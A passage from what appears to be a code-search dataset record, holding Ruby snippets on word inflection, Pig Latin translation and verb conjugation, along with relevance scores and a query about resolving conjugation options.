is upper case\n next_consonant = capitalize(consonant, next_consonant)\nend", "def translateForOneWord(msg)\n aryChar = msg.split(\"\")\n if aryChar[0].match(/a|e|i|o|u/)\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && aryChar[1] == \"q\" && aryChar[2] == \"u\" # consonant + q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif aryChar[0] == \"q\" && aryChar[1] == \"u\" # q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) && (not aryChar[2].match(/a|e|i|o|u/)) # if 3 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) #if it starts with 2 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n\n elsif not aryChar[0].match(/a|e|i|o|u/)\n aryChar << aryChar[0]\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n end\n aryChar.join(\"\")\nend", "def to_cyc(options={})\n\n\n if @name.end_with?(')')\n head, qualifier = @name.split(\"(\")\n head = capitalize_and_sqeeze_words(head)\n if qualifier && !options[:skip_qualifier]\n \"#{head}-\" + capitalize_and_sqeeze_words(qualifier.sub(\")\",\"\"))\n else\n head\n end\n else\n if options[:skip_qualifier]\n name = @name.gsub(/\\(.*?\\)/, '')\n else\n name = @name.gsub(/[()]/, ' ')\n end\n capitalize_and_sqeeze_words(name)\n end\n\n end", "def test_pronouns\n assert_equal('I am a robot', WordPlay.switch_pronouns('You are a robot'))\n assert_equal('You are a person', WordPlay.switch_pronouns('I am a person'))\n assert_equal('I love you', WordPlay.switch_pronouns('You love me'))\n assert_equal('You suck balls', WordPlay.switch_pronouns('I suck balls'))\n assert_equal('I hate you!?', WordPlay.switch_pronouns('You hate me!?'))\n end", "def humanize(options = {})\n result = self.dup\n\n #inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }\n\n result.sub!(/\\A_+/, '')\n result.sub!(/_id\\z/, '')\n result.tr!('_', ' ')\n\n #result.gsub!(/([a-z\\d]*)/i) do |match|\n # \"#{inflections.acronyms[match] || match.downcase}\"\n #end\n\n if options.fetch(:capitalize, true)\n result.sub!(/\\A\\w/) { |match| match.upcase }\n end\n\n result\n end", "def translate_two_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def get_preflabel(family, pre_title, given_name, dates, post_title, epithet)\n name = ''\n\n name = family if !family.nil? && (family != '')\n\n if !pre_title.nil? && (pre_title != '')\n name = \"#{name}, \" if name != ''\n name = \"#{name}#{pre_title}\"\n end\n\n if !given_name.nil? && (given_name != '')\n name = \"#{name}, \" if name != ''\n name = \"#{name}#{given_name}\"\n end\n\n if !dates.nil? && (dates != '')\n name = \"#{name}, \" if name != ''\n name = \"#{name}#{dates}\"\n end\n\n if !post_title.nil? && (post_title != '')\n name = \"#{name}, \" if name != ''\n name = \"#{name}#{post_title}\"\n end\n\n if !epithet.nil? && (epithet != '')\n name = \"#{name}, \" if name != ''\n name = \"#{name}#{epithet}\"\n end\n\n name\n rescue StandardError => e\n log_error(__method__, __FILE__, e)\n raise\n end", "def serial_noun\n @serial_noun ||= RandomWord.nouns.next\n end", "def underpluralize(noun)\n noun.to_s.underscore.pluralize.downcase\n end", "def solrize\n return [rdf_subject.to_s] unless label_present\n [rdf_subject.to_s, { label: \"#{preferred_label}$#{rdf_subject}\" }]\n end", "def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend", "def suffix\n if self.answers.first && self.answers.first.text.include?('|')\n self.answers.first.text.split('|')[1]\n end\n end", "def consonant_converter(string)\r\n name_array = string\r\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n counter = 0\r\n consonant_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\r\n \twhile consonant_counter < consonant.length\r\n \t\tif name_array[counter] == consonant[consonant_counter]\r\n if name_array[counter] == 'z'\r\n \tname_array[counter] = 'b'\r\n break\r\n else\t\r\n \t\t name_array[counter] = consonant[consonant_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n consonant_counter += 1\r\n end\r\n counter += 1\r\n consonant_counter = 0\r\n end \r\n new_name = name_array.join('')\r\n new_name = new_name.split(' ')\r\n new_name.map! { |word| word.capitalize! }\r\n new_name = new_name.join(' ')\r\n return new_name\r\nend", "def undersingularize(noun)\n noun.to_s.underscore.singularize.downcase\n end", "def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend", "def prefix\n if self.answers.first && self.answers.first.text.include?('|')\n self.answers.first.text.split('|')[0]\n end\n end", "def noun_class(name)\n self.send(name)\n end", "def sentence_maker(a_single_argument)\n items = a_single_argument.count.to_i\n output = a_single_argument.values_at(0..(items-1)).join(\" \").capitalize\n return output + \".\"\nend", "def explain3(options={})\n animal = options.fetch(:the) { \"cow\" }\n sound = options.fetch(:says){ \"moo\" }\n \"the #{animal} says #{sound}\"\nend", "def consonant_cancel(sentence)\n vowel = \"aeiou\"\n new_arr = []\n sentence.split(\" \").each do |word|\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n new_word = word[i..-1]\n new_arr << new_word\n break\n end\n end\n end\n new_arr.join(\" \")\nend", "def test_passing_options_abbreviation\n\t\ta = @a.request(\"한국전쟁\", {:rt => \"rfile\", :pys => \"2005\"})\n\t\tputs a.title\n\t\tputs a.total\n\tend", "def conj?\n words.any? { |wor| wor.pos == 'CONJ' }\n end", "def nsubj\n rel 'nsubj'\n end", "def plural\n return word if word.to_s.empty?\n\n find_match(Inflection.configuration.plurals[:noun]) ||\n (uncountable? && word) || find_match(Nouns.plurals) || word\n end", "def build_email_kase(options={})\n EmailKase.new({\n :kase => self,\n :subject => \"%{name} wants to know what you think\".t % {:name => self.person.casualize_name}\n }.merge(options))\n end" ]
[ "0.6698815", "0.6589719", "0.6354167", "0.595999", "0.5955789", "0.5820831", "0.5700067", "0.5625391", "0.5625391", "0.5532828", "0.55192965", "0.55046844", "0.55039567", "0.5492829", "0.54838824", "0.5416845", "0.53976643", "0.5361047", "0.53360057", "0.5301646", "0.52704066", "0.52300346", "0.5198538", "0.5196583", "0.5163172", "0.5125134", "0.51143974", "0.5087087", "0.5036803", "0.5016241", "0.5009674", "0.50073045", "0.49994728", "0.4983117", "0.49813372", "0.49758264", "0.4875437", "0.4846294", "0.48407516", "0.48354393", "0.48330218", "0.48181134", "0.48024216", "0.47892094", "0.47881648", "0.47776583", "0.47565868", "0.47294766", "0.47229555", "0.47189867", "0.47078666", "0.47038507", "0.46981972", "0.46965906", "0.46934", "0.4691418", "0.46864912", "0.46725518", "0.46724597", "0.46502712", "0.46395847", "0.46368963", "0.46368963", "0.46313402", "0.4622011", "0.46188003", "0.46132004", "0.46104795", "0.46091685", "0.460861", "0.46063572", "0.46013787", "0.45941207", "0.45887133", "0.45877326", "0.45745835", "0.45725495", "0.45718998", "0.4565671", "0.4563286", "0.4561281", "0.45610163", "0.45603162", "0.4557834", "0.45573092", "0.45549396", "0.45548746", "0.4550623", "0.45423618", "0.45418826", "0.4526917", "0.45130992", "0.45124868", "0.44994137", "0.44986376", "0.44885942", "0.44861972", "0.44677797", "0.4466781", "0.44605103" ]
0.63957137
2
Resolves conflictions between options of the conjugation Params: element, infinitive, the given verb tense, an option given by the user person, an option given by the user plurality, an option given by the user mood, an option given by the user
def resolve(element, infinitive, tense, person, plurality, mood) case element when String element when :infinitive infinitive when :present, :past, :present_participle, :past_participle inflect infinitive, element, person, plurality, mood when Symbol inflect element, tense, person, plurality, mood end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_for_improper_constructions(infinitive, tense, person, mood, diathesis)\n if (mood == :imperative) && !((person == :second) && (tense == :present))\n raise Verbs::ImproperConstruction, 'The imperative mood requires present tense and second person'\n end\n if (infinitive.to_sym == :be) && (diathesis == :passive)\n raise Verbs::ImproperConstruction, 'There is no passive diathesis for the copula'\n end\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def present_participle(infinitive)\n if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(infinitive.to_sym)\n return present_participle_with_doubled_terminal_consonant_for infinitive\n end\n\n case infinitive.to_s\n when /c$/\n \"#{infinitive}k\"\n when /(^be|ye|oe|nge|ee)$/\n infinitive.to_s\n when /ie$/\n infinitive.to_s.gsub(/ie$/, 'y')\n when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/\n infinitive.to_s[0..-2]\n else # rubocop:disable Lint/DuplicateBranch\n infinitive.to_s\n end.dup.concat('ing').to_sym\n end", "def c\n return $consonants.choice\nend", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def option_params\n params.require(:option).permit(:sentence_id, :option, :correct)\n end", "def form_for(tense, aspect, diathesis)\n form = []\n case diathesis\n when :active\n if tense == :future\n form << 'will'\n form << :infinitive if aspect == :habitual\n form.concat ['have', :past_participle] if aspect == :perfect\n form.concat ['be having', :past_participle] if aspect == :perfective\n form.concat ['be', :present_participle] if aspect == :progressive\n form.concat ['be about to', :infinitive] if aspect == :prospective\n else\n form.concat ['used to', :infinitive] if [tense, aspect] == %i[past habitual]\n form.concat %i[have past_participle] if aspect == :perfect\n form << :past if [tense, aspect] == %i[past perfective]\n form.concat %i[be present_participle] if aspect == :progressive\n form.concat [:be, 'about to', :infinitive] if aspect == :prospective\n form << :present if [tense, aspect] == %i[present habitual]\n form.concat [:be, 'having', :past_participle] if [tense, aspect] == %i[present perfective]\n end\n when :passive\n if tense == :future\n form << 'will'\n form.concat ['be', :past_participle] if aspect == :habitual\n form.concat ['have been', :past_participle] if aspect == :perfect\n form.concat ['be being', :past_participle] if aspect == :progressive\n form.concat ['be about to be', :past_participle] if aspect == :prospective\n else\n form.concat ['used to be', :past_participle] if [tense, aspect] == %i[past habitual]\n form.concat [:have, 'been', :past_participle] if aspect == :perfect\n form.concat %i[be past_participle] if [tense, aspect] == %i[past perfective]\n form.concat [:be, 'being', :past_participle] if aspect == :progressive\n form.concat [:be, 'about to be', :past_participle] if aspect == :prospective\n form.concat %i[be past_participle] if [tense, aspect] == %i[present habitual]\n end\n end\n form\n end", "def inflect(infinitive, inflection, person, plurality, mood)\n send(*[inflection, infinitive, person, plurality, mood][0, method(inflection).arity + 1])\n end", "def find(any_verb_form)\n end", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def render_decision args\n decision = current_decision args\n # text is either the value of decision's description key or warning that no description exists\n args.labels << [640, 360, decision[:description] || \"No definition found for #{args.state.decision_id}. Please update decision.rb.\", 0, 1] # uses string interpolation\n\n # All decisions are stored in a hash\n # The descriptions output onto the screen are the values for the description keys of the hash.\n if decision[:option_one]\n args.labels << [10, 360, decision[:option_one][:description], 0, 0] # option one's description label\n args.labels << [10, 335, \"(Press 'left' on the keyboard to select this decision)\", -5, 0] # label of what key to press to select the decision\n end\n\n if decision[:option_two]\n args.labels << [1270, 360, decision[:option_two][:description], 0, 2] # option two's description\n args.labels << [1270, 335, \"(Press 'right' on the keyboard to select this decision)\", -5, 2]\n end\n\n if decision[:option_three]\n args.labels << [640, 45, decision[:option_three][:description], 0, 1] # option three's description\n args.labels << [640, 20, \"(Press 'down' on the keyboard to select this decision)\", -5, 1]\n end\n\n if decision[:option_four]\n args.labels << [640, 700, decision[:option_four][:description], 0, 1] # option four's description\n args.labels << [640, 675, \"(Press 'up' on the keyboard to select this decision)\", -5, 1]\n end\nend", "def proverb_params\n params.require(:proverb).permit(:english, :translation, :active)\n end", "def suggest_possibility\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n self.possibility = self.user.suggest_random_possibility(self.limit_time, self.limit_place)\n puts \"\"\n puts \"\"\n puts Rainbow(\"#{self.possibility.name}: #{self.possibility.description}\").bright.underline\n puts \"\"\n puts \"\"\n self.possibility.possibility_stats(user.id)\n puts \"\"\n puts \"\"\n self.accept_or_reject\n end", "def findRefinedParameters(element)\n for relation in element.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $veRelationshipStereotype)\n req = ModelHelper.getSupplierElement(relation)\n for relation in req.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $refineStereotype)\n ce = ModelHelper.getClientElement(relation)\n if StereotypesHelper.hasStereotype(ce, $ceStereotype)\n badval = false\n constraint = ce.get_constraintOfConstrainedElement().get(0)\n expression = constraint.getSpecification().getBody().get(0)\n paramUnit = StereotypesHelper.getStereotypePropertyFirst(ce, $ceStereotype, \"unit\")\n unless paramUnit.respond_to?(:name)\n $logger.log(ce.getName() + \": Missing unit\")\n badval = true\n end\n unless expression != nil\n $logger.log(ce.getName() + \": No expression found!\")\n badval = true\n end\n if badval\n reqId = StereotypesHelper.getStereotypePropertyFirst(req, $requirementStereotype, 'Id')\n $logger.log(\"Requirement Id: \" + reqId.to_s)\n end\n end\n end\n end\n end\n end\nend", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def situation_params\n params.require(:situation).permit(:title, :sit_rep, :choice_1, :choice_1_label, :choice_2, :choice_2_label, :ending)\n end", "def emotional_adjective; end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def determine_tactic\n #Override retreat if physical attack\n if attack?\n @tactic = 1\n elsif skill?\n if !item.nil?\n @tactic = 2\n end\n else\n @tactic = 3\n end\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def get_context(message)\n\n nouns = []\n @determiners.each do |determiner|\n matches = message.scan(/\\b#{determiner}\\s+([\\w-]+)\\b/i)\n\n matches.each do |match|\n unless @exempt.include? match.first or @determiners.include? match.first\n nouns << match.first.downcase\n @add_noun.execute(match.first)\n puts \"Added %s\" % match.first.downcase\n end\n end\n end\n nouns = nouns.uniq\n return nouns\n end", "def multiguess(forms,type,tags,gender=nil)\n # 0) trivial cases\n type = Rlp::Grammar::FlexemeType.for_tag(type.to_sym)\n if type.paradigms.size == 1 && type.paradigms.first.suffixes.size == 1\n return forms.map{|f| [type.paradigms.to_a,[f],tags]}\n end\n # 1) guess without tags\n paradigms = Rlp::Grammar::Paradigm.guess(forms,type.to_sym)\n unless paradigms.empty?\n disambiguated = disambiguate(paradigms,gender)\n if disambiguated.size == 1\n return [[disambiguated,forms,tags]]\n end\n end\n # 2) guess with tags\n paradigms = Rlp::Grammar::Paradigm.guess(forms,type.to_sym,\n :tags => tags)\n unless paradigms.empty?\n return [[disambiguate(paradigms,gender),forms,tags]]\n end\n # build 'inflection postion' -> 'forms' map\n position_to_forms = {}\n forms.zip(tags).each do |form,form_tags|\n form_tags.uniq.each do |current_tags|\n position_to_forms[current_tags] ||= []\n position_to_forms[current_tags] << form\n end\n end\n # There are no ambiguous position -> form mappings,\n # the paradigm is unknown.\n unless position_to_forms.values.any?{|fs| fs.size > 1}\n return [[[],forms,tags]]\n end\n #position_to_forms.values.each{|fs| ambiguity[fs.size] += 1}\n position_to_forms = position_to_forms.sort_by{|t,fs| fs.size}\n # in most cases there are only two competing flexemes\n if position_to_forms.last[1].size == 2\n # 3) split the forms heuristically into two flexemes\n # by taking the last to forms and looking for the\n # longest common substring\n ambig_flexemes = position_to_forms.last[1].\n map{|f| [[position_to_forms.last[0]],[f]]}\n position_to_forms[0..-2].each do |position,position_forms|\n if position_forms.size == 2\n map = {}\n 2.times.map do |flexeme_index|\n position_forms.each.with_index do |form,form_index|\n d_index = ambig_flexemes[flexeme_index][1].first.chars.to_a.\n zip(form.chars.to_a).each.with_index do |c1_c2,c_index|\n break c_index if c1_c2[0] != c1_c2[1]\n end\n unless d_index.is_a?(Fixnum)\n d_index = ambig_flexemes[flexeme_index][1].first.size\n end\n map[[flexeme_index,form_index]] = d_index - form.size\n end\n end\n map = map.sort_by{|k,v| -v}\n # assign the best match (e.g. [1,0])...\n best_indices = map[0][0]\n ambig_flexemes[best_indices[0]][0] << position\n ambig_flexemes[best_indices[0]][1] << position_forms[best_indices[1]]\n # and the complementary match (e.g. [0,1])\n map[1..-1].each do |indices,value|\n if indices[0] != best_indices[0] && indices[1] != best_indices[1]\n ambig_flexemes[indices[0]][0] << position\n ambig_flexemes[indices[0]][1] << position_forms[indices[1]]\n break\n end\n end\n else\n 2.times{|i| ambig_flexemes[i][0] << position;\n ambig_flexemes[i][1] << position_forms[0]}\n end\n end\n # re-create mappings 'form' -> 'positions', e.g.\n # transform the array\n ambig_flexemes.map! do |positions_and_forms|\n f_positions, f_forms = positions_and_forms\n map = {}\n f_positions.zip(f_forms).each do |position,form|\n map[form] ||= []\n map[form] << position\n end\n [map.keys,map.values]\n end\n paradigms = ambig_flexemes.map do |forms_and_positions|\n f_forms, f_positions = forms_and_positions\n self.guess(f_forms,type.to_sym,:tags => f_positions)\n end\n if paradigms.all?{|ps| !ps.empty?}\n return ambig_flexemes.zip(paradigms).\n map do |forms_and_positions,f_paradigms|\n f_forms, f_positions = forms_and_positions\n [disambiguate(f_paradigms,gender),f_forms,f_positions]\n end\n end\n end\n # 4) visit all mappings\n # # TODO\n #matched_sets = []\n #visit_mappings(position_to_forms,type,matched_sets)\n #unless matched_sets.empty?\n # pp matched_sets.map{|e| [e[0].code,e[1]]}\n #end\n return [[[],forms,tags]]\n end", "def deponent_imperative_mutations # :nodoc:\n self.singleton_class.class_eval do\n def active_voice_imperative_mood_present_tense_second_person_singular_number\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\n end\n def active_voice_imperative_mood_present_tense_second_person_plural_number\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n end\n def active_voice_imperative_mood_future_tense_second_person_singular_number\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n k.sub!(/minī$/, '')\n k += 'tor'\n Linguistics::Latin::Phonographia.fix_macrons k\n end\n end\n end", "def determine_motivation(candidate)\n\tputs \"On a scale of 1 to 5 (5 being the most), how important is the candidate's motivation?\"\n\tmotivation = gets.chomp\n\tif check_number_input(motivation) == false\n\t\tprob_found\n\t\tdetermine_motivation(candidate)\n\telse\n\t\tmotivation = motivation.to_i*candidate.convert_to_val('fast_learner')\n\tend\nend", "def normal_interactions\n [ Question, Fine, Woah ]\n end", "def adopt_word\n @word = Word.find(params[:id])\n @adoption = Adoption.new\n @adoption.adopt_a_word(word)\n end", "def calculate\n candidates = []\n\n generalized_cause = NLU::Generalization.new(symbols: @symbols).generalize(@cause)\n\n #ap \"sentence: #{cause_sentence}\"\n #ap \"learned: #{@learned.inspect}\"\n\n # We go through everything that was learned before\n @learned.each do |function_name, criteria|\n criteria[:generalizations].each do |generalization|\n\n # We generate a pre-candidate for this generalization. It starts\n # with score zero because we don't know yet whether this criteria\n # fits the sentence or not.\n local_candidate = {\n fn: function_name,\n attrs: { },\n score: 0.0\n }\n\n #ap \"generalized_cause #{generalized_cause}\"\n\n # We then generalize the cause sentence and go through it.\n # We will match *each* learned generalization against the cause\n # generalization.\n generalized_cause.each_with_index do |cause_rule, cause_index|\n\n\n # Wildcard\n #\n # Matches these:\n #\n # > i want a [type:wildcard:some_name_for_this_wildcard]\n # > i want a ford\n #\n wildcard = \"[#{NLU::Generalization::RESERVED_TYPES[:wildcard]}]\"\n #ap \"wildcard: #{wildcard}\"\n wildcard_regex = Regexp.escape(wildcard)\n if generalization =~ /wildcard/i\n wildcard_generalization = generalization\n .gsub(/\\[(type:wildcard)(.+)\\]/i, '[\\1]')\n end\n #ap \"wildcard_generalization(#{wildcard_generalization}) =~ cause_rule(#{wildcard_regex})\"\n if wildcard_generalization.to_s =~ Regexp.new(wildcard_regex, Regexp::IGNORECASE)\n #ap \"true -> #{wildcard_generalization} =~ /#{Regexp.new(wildcard_regex, Regexp::IGNORECASE)}/i\"\n\n rule = wildcard_generalization.gsub(\"#{wildcard}\", \"(.+)\")\n #ap \"rule #{rule}\"\n #binding.pry\n if value = cause_sentence.join(\" \").match(Regexp.new(rule, Regexp::IGNORECASE))\n value = value[-1]\n prop = attr_name_from_type_param(generalization)\n\n local_candidate = local_candidate.merge({\n attrs: {\n prop => value\n },\n score: 0.75\n })\n end\n\n # If we find a learned generalization that matches the generalized\n # sentence, we will save it.\n elsif generalization == cause_rule\n cause_rule.split(\" \").each_with_index do |typed_string, index|\n\n # If the learned generalization has a type anywhere, we will\n # check what is the corresponding word in the cause sentence.\n #\n # For example, consider the following sentence:\n #\n # [type:subject] want a [type:make]\n #\n # and the sentence\n #\n # I want a ford\n #\n # Finding `[type:make]` at position 3 of the array, we will\n # get `ford` at the position 3 of the cause sentence. With\n # that we can come up with `{make: 'ford'}`.\n #\n if typed_string =~ /\\[type/i\n local_candidate[:score] += 1\n type = attr_name_from_type_param(typed_string)\n 